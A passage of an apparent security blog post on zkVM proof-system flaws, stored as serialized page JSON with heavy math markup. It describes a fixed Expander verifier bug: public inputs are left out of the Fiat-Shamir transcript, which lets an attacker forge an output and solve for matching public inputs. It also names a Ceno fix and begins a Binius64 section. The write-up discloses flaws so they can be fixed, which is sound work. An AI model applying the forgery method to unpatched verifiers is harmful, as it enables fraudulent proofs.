bilinear:",{"type":24,"tag":175,"props":127356,"children":127357},{},[127358,127685],{"type":24,"tag":179,"props":127359,"children":127360},{},[127361,127363],{"type":29,"value":127362},"Linear (from GKR): ",{"type":24,"tag":284,"props":127364,"children":127366},{"className":127365},[2949,2950],[127367],{"type":24,"tag":327,"props":127368,"children":127370},{"className":127369},[2955],[127371],{"type":24,"tag":327,"props":127372,"children":127374},{"className":127373,"ariaHidden":2961},[2960],[127375,127511,127646,127672],{"type":24,"tag":327,"props":127376,"children":127378},{"className":127377},[2966],[127379,127384,127441,127498,127502,127507],{"type":24,"tag":327,"props":127380,"children":127383},{"className":127381,"style":127382},[2971],"height:0.7333em;vertical-align:-0.15em;",[],{"type":24,"tag":327,"props":127385,"children":127387},{"className":127386},[2977],[127388,127393],{"type":24,"tag":327,"props":127389,"children":127391},{"className":127390},[2977,2978],[127392],{"type":29,"value":57},{"type":24,"tag":327,"props":127394,"children":127396},{"className":127395},[3032],[127397],{"type":24,"tag":327,"props":127398,"children":127400},{"className":127399},[3037,3038],[127401,127430],{"type":24,"tag":327,"props":127402,"children":127404},{"className":127403},[3043],[127405,127425],{"type":24,"tag":327,"props":127406,"children":127408},{"className":127407,"style":99826},[3048],[127409],{"type":24,"tag":327,"props":127410,"children":127411},{"style":99830},[127412,127416],{"type":24,"tag":327,"props":127413,"children":127415},{"className":127414,"style":3059},[3058],[],{"type":24,"tag":327,"props":127417,"children":127419},{"className":127418},[3064,3065,3066,3067],[127420],{"type":24,"tag":327,"props":127421,"children":127423},{"className":127422},[2977,3067],[127424],{"type":29,"value":2988},{"type":24,"tag":327,"props":127426,"children":127428},{"className":127427},[3150],[127429],{"type":29,"value":3153},{"type":24,"tag":327,"props":127431,"children":127433},{"className":127432},[3043],[127434],{"type":24,"tag":327,"props":127435,"children":127437},{"className":127436,"style":99857},[3048],[127438],{"type":24,"tag":327,"props":127439,"children":127440},{},[],{"type":24,"tag":327,"props":127442,"children":127444},{"className":127443},[2977],[127445,127450],{"type":24,"tag":327,"props":127446,"children":127448},{"className":127447},[2977,2978],[127449],{"type":29,"value":603},{"type":24,"tag":327,"props":127451,"children":127453},{"className":127452},[3032],[127454],{"type":24,"tag":327,"props":127455,"children":127457},{"className":127456},[3037,3038],[127458,127487],{"type":24,"tag":327,"props":127459,"children":127461},{"className":127460},[3043],[127462,127482],{"type":24,"tag":327,"props":127463,"children":127465},{"className":127464,"style":99826},[3048],[127466],{"type":24,"tag":327,"props":127467,"children":127468},{"style":99830},[127469,127473],{"type":24,"tag":327,"props":127470,"children":127472},{"className":127471,"style":3059},[3058],[],{"type":24,"tag":327,"props":127474,"children":127476},{"className":127475},[3064,3065,3066,3067],[127477],{"type":24,"tag":327,"props":127478,"children":127480},{"className":127479},[2977,3067],[127481],{"type":29,"value":2988},{"type":24,"tag":327,"props":127483,"children":127485},{"className":127484},[3150],[127486],{"type":29,"value":3153},{"type":24,"tag":327,"props":127488,"children":127490},{"className":127489},[3043],[127491],{"type":24,"tag":327,"props":127492,"children":127494},{"className":127493,"style":99857},[3048],[127495],{"type":24,"tag":327,"props":127496,"children":127497},{},[],{"type":24,"tag":327,"props":127499,"children":127501},{"className":127500,"style":3705},[2992],[],{"type":24,"tag":327,"props":127503,"children":127505},{"className":127504},[3710],[127506],{"type":29,"value":394},{"type":24,"tag":327,"props":127508,"children":127510},{"className":127509,"style":3705},[2992],[],{"type":24,"tag":327,"props":127512,"children":127514},{"className":127513},[2966],[127515,127519,127576,127633,127637,127642],{"type":24,"tag":327,"props":127516,"children":127518},{"className":127517,"style":127382},[2971],[],{"type":24,"tag":327,"props":127520,"children":127522},{"className":127521},[2977],[127523,127528],{"type":24,"tag":327,"props":127524,"children":127526},{"className":127525},[2977,2978],[127527],{"type":29,"value":57},{"type":24,"tag":327,"props":127529,"children":127531},{"className":127530},[3032],[127532],{"type":24,"tag":327,"props":127533,"children":127535},{"className":127534},[3037,3038],[127536,127565],{"type":24,"tag":327,"props":127537,"children":127539},{"className":127538},[3043],[127540,127560],{"type":24,"tag":327,"props":127541,"children":127543},{"className":127542,"style":99826},[3048],[127544],{"type":24,"tag":327,"props":127545,"children":127546},{"style":99830},[127547,127551],{"type":24,"tag":327,"props":127548,"children":127550},{"className":127549,"style":3059},[3058],[],{"type":24,"tag":327,"props":127552,"children":127554},{"className":127553},[3064,3065,3066,3067],[127555],{"type":24,"tag":327,"props":127556,"children":127558},{"className":127557},[2977,3067],[127559],{"type":29,"value":3238},{"type":24,"tag":327,"props":127561,"children":127563},{"className":127562},[3150],[127564],{"type":29,"value":3153},{"type":24,"tag":327,"props":127566,"children":127568},{"className":127567},[3043],[127569],{"type":24,"tag":327,"props":127570,"children":127572},{"className":127571,"style":99857},[3048],[127573],{"type":24,"tag":327,"props":127574,"children":127575},{},[],{"type":24,"tag":327,"props":127577,"children":127579},{"className":127578},[2977],[127580,127585],{"type":24,"tag":327,"props":127581,"children":127583},{"className":127582},[2977,2978],[127584],{"type":29,"value":603},{"type":24,"tag":327,"props":127586,"children":127588},{"className":127587},[3032],[127589],{"type":24,"tag":327,"props":127590,"children":127592},{"className":127591},[3037,3038],[127593,127622],{"type":24,"tag":327,"props":127594,"children":127596},{"className":127595},[3043],[127597,127617],{"type":24,"tag":327,"props":127598,"children":127600},{"className":127599,"style":99826},[3048],[127601],{"type":24,"tag":327,"props":127602,"children":127603},{"style":99830},[127604,127608],{"type":24,"tag":327,"props":127605,"children":127607},{"className":127606,"style":3059},[3058],[],{"type":24,"tag":327,"props":127609,"children":127611},{"className":127610},[3064,3065,3066,3067],[127612],{"type":24,"tag":327,"props":127613,"children":127615},{"className":127614},[2977,3067],[127616],{"type":29,"value":3238},{"type":24,"tag":327,"props":127618,"children":127620},{"className":127619},[3150],[127621],{"type":29,"value":3153},{"type":24,"tag":327,"props":127623,"children":127625},{"className":127624},[3043],[127626],{"type":24,"tag":327,"props":127627,"children":127629},{"className":127628,"style":99857},[3048],[127630],{"type":24,"tag":327,"props":127631,"children":127632},{},[],{"type":24,"tag":327,"props":127634,"children":127636},{"className":127635,"style":3705},[2992],[],{"type":24,"tag":327,"props":127638,"children":127640},{"className":127639},[3710],[127641],{"type":29,"value":394},{"type":24,"tag":327,"props":127643,"children":127645},{"className":127644,"style":3705},[2992],[],{"type":24,"tag":327,"props":127647,"children":127649},{"className":127648},[2966],[127650,127654,127659,127663,127668],{"type":24,"tag":327,"props":127651,"children":127653},{"className":127652,"style":117615},[2971],[],{"type":24,"tag":327,"props":127655,"children":127657},{"className":127656},[2977,2978],[127658],{"type":29,"value":320},{"type":24,"tag":327,"props":127660,"children":127662},{"className":127661,"style":2993},[2992],[],{"type":24,"tag":327,"props":127664,"children":127666},{"className":127665},[2998],[127667],{"type":29,"value":384},{"type":24,"tag":327,"props":127669,"children":127671},{"className":127670,"style":2993},[2992],[],{"type":24,"tag":327,"props":127673,"children":127675},{"className":127674},[2966],[127676,127680],{"type":24,"tag":327,"props":127677,"children":127679},{"className":127678,"style":100805},[2971],[],{"type":24,"tag":327,"props":127681,"children":127683},{"className":127682},[2977],[127684],{"type":29,"value":2988},{"type":24,"tag":179,"props":127686,"children":127687},{},[127688,127690],{"type":29,"value":127689},"Bilinear (from multiset): ",{"type":24,"tag":284,"props":127691,"children":127693},{"className":127692},[2949,2950],[127694],{"type":24,"tag":327,"props":127695,"children":127697},{"className":127696},[2955],[127698],{"type":24,"tag":327,"props":127699,"children":127701},{"className":127700,"ariaHidden":2961},[2960],[127702,127728,127806,127884,127910],{"type":24,"tag":327,"props":127703,"children":127705},{"className":127704},[2966],[127706,127710,127715,127719,127724],{"type":24,"tag":327,"props":127707,"children":127709},{"className":127708,"style":99689},[2971],[],{"type":24,"tag":327,"props":127711,"children":127713},{"className":127712,"style":101203},[2977,2978],[127714],{"type":29,"value":95411},{"type":24,"tag":327,"props":127716,"children":127718},{"className":127717,"style":3705},[2992],[],{"type":24,"tag":327,"props":127720,"children":127722},{"className":127721},[3710],[127723],{"type":29,"value":118036},{"type":24,"tag":327,"props":127725,"children":127727},{"className":127726,"style":3705},[2992],[],{"type":24,"tag":327,"props":127729,"children":127731},{"className":127730},[2966],[127732,127736,127793,127797,127802],{"type":24,"tag":327,"props":127733,"children":127735},{"className":127734,"style":126828},[2971],[],{"type":24,"tag":327,"props":127737,"children":127739},{"className":127738},[2977],[127740,127745],{"type":24,"tag":327,"props":127741,"children":127743},{"className":127742},[2977,2978],[127744],{"type":29,"value":603},{"type":24,"tag":327,"props":127746,"children":127748},{"className":127747},[3032],[127749],{"type":24,"tag":327,"props":127750,"children":127752},{"className":127751},[3037,3038],[127753,127782],{"type":24,"tag":327,"props":127754,"children":127756},{"className":127755},[3043],[127757,127777],{"type":24,"tag":327,"props":127758,"children":127760},{"className":127759,"style":99826},[3048],[127761],{"type":24,"tag":327,"props":127762,"children":127763},{"style":99830},[127764,127768],{"type":24,"tag":327,"props":127765,"children":127767},{"className":127766,"style":3059},[3058],[],{"type":24,"tag":327,"props":127769,"children":127771},{"className":127770},[3064,3065,3066,3067],[127772],{"type":24,"tag":327,"props":127773,"children":127775},{"className":127774},[2977,3067],[127776],{"type":29,"value":2988},{"type":24,"tag":327,"props":127778,"children":127780},{"className":127779},[3150],[127781],{"type":29,"value":3153},{"type":24,"tag":327,"props":127783,"children":127785},{"className":127784},[3043],[127786],{"type":24,"tag":327,"props":127787,"children":127789},{"className":127788,"style":99857},[3048],[127790],{"type":24,"tag":327,"props":127791,"children":127792},{},[],{"type":24,"tag":327,"props":127794,"children":127796},{"className":127795,"style":3705},[2992],[],{"type":24,"tag":327,"props":127798,"children":127800},{"className":127799},[3710],[127801],{"type":29,"value":118036},{"type":24,"tag":327,"props":127803,"children":127805},{"className":127804,"style":3705},[2992],[],{"type":24,"tag":327,"props":127807,"children":127809},{"className":127808},[2966],[127810,127814,127871,127875,127880],{"type":24,"tag":327,"props":127811,"children":127813},{"className":127812,"style":127382},[2971],[],{"type":24,"tag":327,"props":127815,"children":127817},{"className":127816},[2977],[127818,127823],{"type":24,"tag":327,"props":127819,"children":127821},{"className":127820},[2977,2978],[127822],{"type":29,"value":603},{"type":24,"tag":327,"props":127824,"children":127826},{"className":127825},[3032],[127827],{"type":24,"tag":327,"props":127828,"children":127830},{"className":127829},[3037,3038],[127831,127860],{"type":24,"tag":327,"props":127832,"children":127834},{"className":127833},[3043],[127835,127855],{"type":24,"tag":327,"props":127836,"children":127838},{"className":127837,"style":99826},[3048],[127839],{"type":24,"tag":327,"props":127840,"children":127841},{"style":99830},[127842,127846],{"type":24,"tag":327,"props":127843,"children":127845},{"className":127844,"style":3059},[3058],[],{"type":24,"tag":327,"props":127847,"children":127849},{"className":127848},[3064,3065,3066,3067],[127850],{"type":24,"tag":327,"props":127851,"children":127853},{"className":127852},[2977,3067],[127854],{"type":29,"value":3238},{"type":24,"tag":327,"props":127856,"children":127858},{"className":127857},[3150],[127859],{"type":29,"value":3153},{"type":24,"tag":327,"props":127861,"children":127863},{"className":127862},[3043],[127864],{"type":24,"tag":327,"props":127865,"children":127867},{"className":127866,"style":99857},[3048],[127868],{"type":24,"tag":327,"props":127869,"children":127870},{},[],{"type":24,"tag":327,"props":127872,"children":127874},{"className":127873,"style":3705},[2992],[],{"type":24,"tag":327,"props":127876,"children":127878},{"className":127877},[3710],[127879],{"type":29,"value":394},{"type":24,"tag":327,"props":127881,"children":127883},{"className":127882,"style":3705},[2992],[],{"type":24,"tag":327,"props":127885,"children":127887},{"className":127886},[2966],[127888,127892,127897,127901,127906],{"type":24,"tag":327,"props":127889,"children":127891},{"className":127890,"style":99689},[2971],[],{"type":24,"tag":327,"props":127893,"children":127895},{"className":127894},[2977,2978],[127896],{"type":29,"value":77289},{"type":24,"tag":327,"props":127898,"children":127900},{"className":127899,"style":2993},[2992],[],{"type":24,"tag":327,"props":127902,"children":127904},{"className":127903},[2998],[127905],{"type":29,"value":384},{"type":24,"tag":327,"props":127907,"children":127909},{"className":127908,"style":2993},[2992],[],{"type":24,"tag":327,"props":127911,"children":127913},{"className":127912},[2966],[127914,127918],{"type":24,"tag":327,"props":127915,"children":127917},{"className":127916,"style":100805},[2971],[],{"type":24,"tag":327,"props":127919,"children":127921},{"className":127920},[2977],[127922],{"type":29,"value":2988},{"type":24,"tag":25,"props":127924,"children":127925},{},[127926],{"type":29,"value":127927},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":24,"tag":25,"props":127929,"children":127930},{},[127931,127935,127937,127944,127946,127953],{"type":24,"tag":188,"props":127932,"children":127933},{},[127934],{"type":29,"value":123484},{"type":29,"value":127936}," Fixed on March 5, 2026 via ",{"type":24,"tag":57,"props":127938,"children":127941},{"href":127939,"rel":127940},"https://github.com/scroll-tech/ceno/pull/1262",[61],[127942],{"type":29,"value":127943},"PR #1262",{"type":29,"value":127945}," (original report: ",{"type":24,"tag":57,"props":127947,"children":127950},{"href":127948,"rel":127949},"https://github.com/scroll-tech/ceno/issues/1125",[61],[127951],{"type":29,"value":127952},"#1125",{"type":29,"value":3146},{"type":24,"tag":68,"props":127955,"children":127956},{},[],{"type":24,"tag":235,"props":127958,"children":127960},{"id":127959},"expander-polyhedra",[127961],{"type":29,"value":127962},"Expander (Polyhedra)",{"type":24,"tag":25,"props":127964,"children":127965},{},[127966],{"type":29,"value":127967},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":24,"tag":25,"props":127969,"children":127970},{},[127971],{"type":24,"tag":188,"props":127972,"children":127973},{},[127974],{"type":29,"value":122190},{"type":24,"tag":317,"props":127976,"children":127978},{"code":127977},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[127979],{"type":24,"tag":284,"props":127980,"children":127981},{"__ignoreMap":7},[127982],{"type":29,"value":127977},{"type":24,"tag":25,"props":127984,"children":127985},{},[127986,127988,127994],{"type":29,"value":127987},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":24,"tag":284,"props":127989,"children":127991},{"className":127990},[],[127992],{"type":29,"value":127993},"eval_cst",{"type":29,"value":127995}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":24,"tag":317,"props":127997,"children":127999},{"code":127998,"language":1552,"meta":7,"className":1553,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[128000],{"type":24,"tag":284,"props":128001,"children":128002},{"__ignoreMap":7},[128003],{"type":24,"tag":327,"props":128004,"children":128005},{"class":329,"line":330},[128006,128010,128015,128020,128024,128028,128032,128036,128041,128045,128050,128055,128059,128064],{"type":24,"tag":327,"props":128007,"children":128008},{"style":356},[128009],{"type":29,"value":83359},{"type":24,"tag":327,"props":128011,"children":128012},{"style":381},[128013],{"type":29,"value":128014}," -=",{"type":24,"tag":327,"props":128016,"children":128017},{"style":1639},[128018],{"type":29,"value":128019}," GKRVerifierHelper",{"type":24,"tag":327,"props":128021,"children":128022},{"style":381},[128023],{"type":29,"value":2407},{"type":24,"tag":327,"props":128025,"children":128026},{"style":340},[128027],{"type":29,"value":127993},{"type":24,"tag":327,"props":128029,"children":128030},{"style":346},[128031],{"type":29,"value":349},{"type":24,"tag":327,"props":128033,"children":128034},{"style":381},[128035],{"type":29,"value":8716},{"type":24,"tag":327,"props":128037,"children":128038},{"style":356},[128039],{"type":29,"value":128040},"layer",{"type":24,"tag":327,"props":128042,"children":128043},{"style":381},[128044],{"type":29,"value":66},{"type":24,"tag":327,"props":128046,"children":128047},{"style":346},[128048],{"type":29,"value":128049},"const_, ",{"type":24,"tag":327,"props":128051,"children":128052},{"style":356},[128053],{"type":29,"value":128054},"public_input",{"type":24,"tag":327,"props":128056,"children":128057},{"style":346},[128058],{"type":29,"value":2744},{"type":24,"tag":327,"props":128060,"children":128061},{"style":356},[128062],{"type":29,"value":128063},"sp",{"type":24,"tag":327,"props":128065,"children":128066},{"style":346},[128067],{"type":29,"value":583},{"type":24,"tag":25,"props":128069,"children":128070},{},[128071,128073,128078],{"type":29,"value":128072},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":24,"tag":284,"props":128074,"children":128076},{"className":128075},[],[128077],{"type":29,"value":128063},{"type":29,"value":2108},{"type":24,"tag":25,"props":128080,"children":128081},{},[128082],{"type":24,"tag":188,"props":128083,"children":128084},{},[128085],{"type":29,"value":128086},"The vulnerability:",{"type":24,"tag":25,"props":128088,"children":128089},{},[128090,128095],{"type":24,"tag":284,"props":128091,"children":128093},{"className":128092},[],[128094],{"type":29,"value":128054},{"type":29,"value":128096}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":24,"tag":25,"props":128098,"children":128099},{},[128100],{"type":24,"tag":11511,"props":128101,"children":128104},{"alt":128102,"src":128103},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":24,"tag":25,"props":128106,"children":128107},{},[128108,128109,128114],{"type":29,"value":1713},{"type":24,"tag":284,"props":128110,"children":128112},{"className":128111},[],[128113],{"type":29,"value":127993},{"type":29,"value":128115}," function computes a linear combination:",{"type":24,"tag":25,"props":128117,"children":128118},{},[128119],{"type":24,"tag":284,"props":128120,"children":128122},{"className":128121},[2949,2950],[128123],{"type":24,"tag":327,"props":128124,"children":128126},{"className":128125},[2955],[128127],{"type":24,"tag":327,"props":128128,"children":128130},{"className":128129,"ariaHidden":2961},[2960],[128131,128176,128300],{"type":24,"tag":327,"props":128132,"children":128134},{"className":128133},[2966],[128135,128139,128148,128153,128163,128167,128172],{"type":24,"tag":327,"props":128136,"children":128138},{"className":128137,"style":101187},[2971],[],{"type":24,"tag":327,"props":128140,"children":128142},{"className":128141},[2977,29],[128143],{"type":24,"tag":327,"props":128144,"children":128146},{"className":128145},[2977],[128147],{"type":29,"value":44261},{"type":24,"tag":327,"props":128149,"children":128151},{"className":128150,"style":99774},[2977],[128152],{"type":29,"value":10692},{"type":24,"tag":327,"props":128154,"children":128156},{"className":128155},[2977,29],[128157],{"type":24,"tag":327,"props":128158,"children":128160},{"className":128159},[2977],[128161],{"type":29,"value":128162},"cst",{"type":24,"tag":327,"props":128164,"children":128166},{"className":128165,"style":2993},[2992],[],{"type":24,"tag":327,"props":128168,"children":128170},{"className":128169},[2998],[128171],{"type":29,"value":384},{"type":24,"tag":327,"props":128173,"children":128175},{"className":128174,"style":2993},[2992],[],{"type":24,"tag":327,"props":128177,"children":128179},{"className":128178},[2966],[128180,128184,128241,128245,128272,128277,128282,128287,128291,128296],{"type":24,"tag":327,"props":128181,"children":128183},{"className":128182,"style":99716},[2971],[],{"type":24,"tag":327,"props":128185,"children":128187},{"className":128186},[3018],[128188,128193],{"type":24,"tag":327,"props":128189,"children":128191},{"className":128190,"style":3025},[3018,3023,3024],[128192],{"type":29,"value":115569},{"type":24,"tag":327,"props":128194,"children":128196},{"className":128195},[3032],[128197],{"type":24,"tag":327,"props":128198,"children":128200},{"className":128199},[3037,3038],[128201,128230],{"type":24,"tag":327,"props":128202,"children":128204},{"className":128203},[3043],[128205,128225],{"type":24,"tag":327,"props":128206,"children":128208},{"className":128207,"style":120981},[3048],[128209],{"type":24,"tag":327,"props":128210,"children":128211},{"style":3053},[128212,128216],{"type":24,"tag":327,"props":128213,"children":128215},{"className":128214,"style":3059},[3058],[],{"type":24,"tag":327,"props":128217,"children":128219},{"className":128218},[3064,3065,3066,3067],[128220],{"type":24,"tag":327,"props":128221,"children":128223},{"className":128222},[2977,2978,3067],[128224],{"type":29,"value":11334},{"type":24,"tag":327,"props":128226,"children":128228},{"className":128227},[3150],[128229],{"type":29,"value":3153},{"type":24,"tag":327,"props":128231,"children":128233},{"className":128232},[3043],[128234],{"type":24,"tag":327,"props":128235,"children":128237},{"className":128236,"style":121261},[3048],[128238],{"type":24,"tag":327,"props":128239,"children":128240},{},[],{"type":24,"tag":327,"props":128242,"children":128244},{"className":128243,"style":3169},[2992],[],{"type":24,"tag":327,"props":128246,"children":128248},{"className":128247},[2977],[128249,128258,128263],{"type":24,"tag":327,"props":128250,"children":128252},{"className":128251},[2977,29],[128253],{"type":24,"tag":327,"props":128254,"children":128256},{"className":128255},[2977],[128257],{"type":29,"value":68398},{"type":24,"tag":327,"props":128259,"children":128261},{"className":128260,"style":99774},[2977],[128262],{"type":29,"value":10692},{"type":24,"tag":327,"props":128264,"children":128266},{"className":128265},[2977,29],[128267],{"type":24,"tag":327,"props":128268,"children":128270},{"className":128269},[2977],[128271],{"type":29,"value":15927},{"type":24,"tag":327,"props":128273,"children":128275},{"className":128274},[3121],[128276],{"type":29,"value":11329},{"type":24,"tag":327,"props":128278,"children":128280},{"className":128279},[2977,2978],[128281],{"type":29,"value":11334},{"type":24,"tag":327,"props":128283,"children":128285},{"className":128284},[3143],[128286],{"type":29,"value":22934},{"type":24,"tag":327,"props":128288,"children":128290},{"className":128289,"style":3705},[2992],[],{"type":24,"tag":327,"props":128292,"children":128294},{"className":128293},[3710],[128295],{"type":29,"value":118036},{"type":24,"tag":327,"props":128297,"children":128299},{"className":128298,"style":3705},[2992],[],{"type":24,"tag":327,"props":128301,"children":128303},{"className":128302},[2966],[128304,128308,128317,128322,128327,128332,128336,128385],{"type":24,"tag":327,"props":128305,"children":128307},{"className":128306,"style":3685},[2971],[],{"type":24,"tag":327,"props":128309,"children":128311},{"className":128310},[2977,29],[128312],{"type":24,"tag":327,"props":128313,"children":128315},{"className":128314},[2977],[128316],{"type":29,"value":119363},{"type":24,"tag":327,"props":128318,"children":128320},{"className":128319},[3121],[128321],{"type":29,"value":349},{"type":24,"tag":327,"props":128323,"children":128325},{"className":128324},[2977,2978],[128326],{"type":29,"value":11334},{"type":24,"tag":327,"props":128328,"children":128330},{"className":128329},[11695],[128331],{"type":29,"value":11698},{"type":24,"tag":327,"props":128333,"children":128335},{"className":128334,"style":3169},[2992],[],{"type":24,"tag":327,"props":128337,"children":128339},{"className":128338},[2977,118923],[128340],{"type":24,"tag":327,"props":128341,"children":128343},{"className":128342},[3037],[128344],{"type":24,"tag":327,"props":128345,"children":128347},{"className":128346},[3043],[128348],{"type":24,"tag":327,"props":128349,"children":128351},{"className":128350,"style":119009},[3048],[128352,128364],{"type":24,"tag":327,"props":128353,"children":128354},{"style":118940},[128355,128359],{"type":24,"tag":327,"props":128356,"children":128358},{"className":128357,"style":118945},[3058],[],{"type":24,"tag":327,"props":128360,"children":128362},{"className":128361,"style":99774},[2977,2978],[128363],{"type":29,"value":100593},{"type":24,"tag":327,"props":128365,"children":128366},{"style":118940},[128367,128371],{"type":24,"tag":327,"props":128368,"children":128370},{"className":128369,"style":118945},[3058],[],{"type":24,"tag":327,"props":128372,"children":128374},{"className":128373,"style":119033},[118963],[128375],{"type":24,"tag":327,"props":128376,"children":128378},{"className":128377,"style":119039},[119038],[128379],{"type":24,"tag":40985,"props":128380,"children":128381},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[128382],{"type":24,"tag":119051,"props":128383,"children":128384},{"d":119053},[],{"type":24,"tag":327,"props":128386,"children":128388},{"className":128387},[3143],[128389],{"type":29,"value":3146},{"type":24,"tag":25,"props":128391,"children":128392},{},[128393,128394,128463,128465,128470,128472,128477],{"type":29,"value":122610},{"type":24,"tag":284,"props":128395,"children":128397},{"className":128396},[2949,2950],[128398],{"type":24,"tag":327,"props":128399,"children":128401},{"className":128400},[2955],[128402],{"type":24,"tag":327,"props":128403,"children":128405},{"className":128404,"ariaHidden":2961},[2960],[128406],{"type":24,"tag":327,"props":128407,"children":128409},{"className":128408},[2966],[128410,128414],{"type":24,"tag":327,"props":128411,"children":128413},{"className":128412,"style":119009},[2971],[],{"type":24,"tag":327,"props":128415,"children":128417},{"className":128416},[2977,118923],[128418],{"type":24,"tag":327,"props":128419,"children":128421},{"className":128420},[3037],[128422],{"type":24,"tag":327,"props":128423,"children":128425},{"className":128424},[3043],[128426],{"type":24,"tag":327,"props":128427,"children":128429},{"className":128428,"style":119009},[3048],[128430,128442],{"type":24,"tag":327,"props":128431,"children":128432},{"style":118940},[128433,128437],{"type":24,"tag":327,"props":128434,"children":128436},{"className":128435,"style":118945},[3058],[],{"type":24,"tag":327,"props":128438,"children":128440},{"className":128439,"style":99774},[2977,2978],[128441],{"type":29,"value":100593},{"type":24,"tag":327,"props":128443,"children":128444},{"style":118940},[128445,128449],{"type":24,"tag":327,"props":128446,"children":128448},{"className":128447,"style":118945},[3058],[],{"type":24,"tag":327,"props":128450,"children":128452},{"className":128451,"style":119033},[118963],[128453],{"type":24,"tag":327,"props":128454,"children":128456},{"className":128455,"style":119039},[119038],[128457],{"type":24,"tag":40985,"props":128458,"children":128459},{"xmlns":119043,"width":119044,"height":119045,"style":119046,"viewBox":119047,"preserveAspectRatio":119048},[128460],{"type":24,"tag":119051,"props":128461,"children":128462},{"d":119053},[],{"type":29,"value":128464}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":24,"tag":284,"props":128466,"children":128468},{"className":128467},[],[128469],{"type":29,"value":128054},{"type":29,"value":128471},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":24,"tag":284,"props":128473,"children":128475},{"className":128474},[],[128476],{"type":29,"value":128054},{"type":29,"value":128478}," that makes the verifier's check pass.",{"type":24,"tag":25,"props":128480,"children":128481},{},[128482,128486,128488,128495,128496,128499,128506],{"type":24,"tag":188,"props":128483,"children":128484},{},[128485],{"type":29,"value":123484},{"type":29,"value":128487}," Fixed on 21st January 2026 via ",{"type":24,"tag":57,"props":128489,"children":128492},{"href":128490,"rel":128491},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[61],[128493],{"type":29,"value":128494},"commit 4a8c2be",{"type":29,"value":14024},{"type":24,"tag":37678,"props":128497,"children":128498},{},[],{"type":24,"tag":57,"props":128500,"children":128503},{"href":128501,"rel":128502},"https://blog.polyhedra.network/expander-bug-bounty/",[61],[128504],{"type":29,"value":128505},"Claimed 500k Bug bounty",{"type":29,"value":128507}," award pending",{"type":24,"tag":68,"props":128509,"children":128510},{},[],{"type":24,"tag":235,"props":128512,"children":128514},{"id":128513},"binius64",[128515],{"type":29,"value":114617},{"type":24,"tag":25,"props":128517,"children":128518},{},[128519,128521,128648],{"type":29,"value":128520},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":24,"tag":284,"props":128522,"children":128524},{"className":128523},[2949,2950],[128525],{"type":24,"tag":327,"props":128526,"children":128528},{"className":128527},[2955],[128529],{"type":24,"tag":327,"props":128530,"children":128532},{"className":128531,"ariaHidden":2961},[2960],[128533],{"type":24,"tag":327,"props":128534,"children":128536},{"className":128535},[2966],[128537,128542],{"type":24,"tag":327,"props":128538,"children":128541},{"className":128539,"style":128540},[2971],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":24,"tag":327,"props":128543,"children":128545},{"className":128544},[2977],[128546,128553],{"type":24,"tag":327,"props":128547,"children":128550},{"className":128548},[2977,128549],"mathbb",[128551],{"type":29,"value":128552},"F",{"type":24,"tag":327,"props":128554,"children":128556},{"className":128555},[3032],[128557],{"type":24,"tag":327,"props":128558,"children":128560},{"className":128559},[3037,3038],[128561,128636],{"type":24,"tag":327,"props":128562,"children":128564},{"className":128563},[3043],[128565,128631],{"type":24,"tag":327,"props":128566,"children":128568},{"className":128567,"style":119106},[3048],[128569],{"type":24,"tag":327,"props":128570,"children":128572},{"style":128571},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[128573,128577],{"type":24,"tag":327,"props":128574,"children":128576},{"className":128575,"style":3059},[3058],[],{"type":24,"tag":327,"props":128578,"children":128580},{"className":128579},[3064,3065,3066,3067],[128581],{"type":24,"tag":327,"props":128582,"children":128584},{"className":128583},[2977,3067],[128585],{"type":24,"tag":327,"props":128586,"children":128588},{"className":128587},[2977,3067],[128589,128594],{"type":24,"tag":327,"props":128590,"children":128592},{"className":128591},[2977,3067],[128593],{"type":29,"value":10731},{"type":24,"tag":327,"props":128595,"children":128597},{"className":128596},[3032],[128598],{"type":24,"tag":327,"props":128599,"children":128601},{"className":128600},[3037],[128602],{"type":24,"tag":327,"props":128603,"children":128605},{"className":128604},[3043],[128606],{"type":24,"tag":327,"props":128607,"children":128610},{"className":128608,"style":128609},[3048],"height:0.7463em;",[128611],{"type":24,"tag":327,"props":128612,"children":128613},{"style":119231},[128614,128618],{"type":24,"tag":327,"props":128615,"children":128617},{"className":128616,"style":115634},[3058],[],{"type":24,"tag":327,"props":128619,"children":128621},{"className":128620},[3064,115639,115640,3067],[128622],{"type":24,"tag":327,"props":128623,"children":128625},{"className":128624},[2977,3067],[128626],{"type":24,"tag":327,"props":128627,"children":128629},{"className":128628},[2977,3067],[128630],{"type":29,"value":36556},{"type":24,"tag":327,"props":128632,"children":128634},{"className":128633},[3150],[128635],{"type":29,"value":3153},{"type":24,"tag":327,"props":128637,"children":128639},{"className":128638},[3043],[128640],{"type":24,"tag":327,"props":128641,"children":128644},{"className":128642,"style":128643},[3048],"height:0.1776em;",[128645],{"type":24,"tag":327,"props":128646,"children":128647},{},[],{"type":29,"value":128649}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":24,"tag":25,"props":128651,"children":128652},{},[128653,128655,128660],{"type":29,"value":128654},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":24,"tag":188,"props":128656,"children":128657},{},[128658],{"type":29,"value":128659},"Shift Protocol",{"type":29,"value":128661}," efficiently 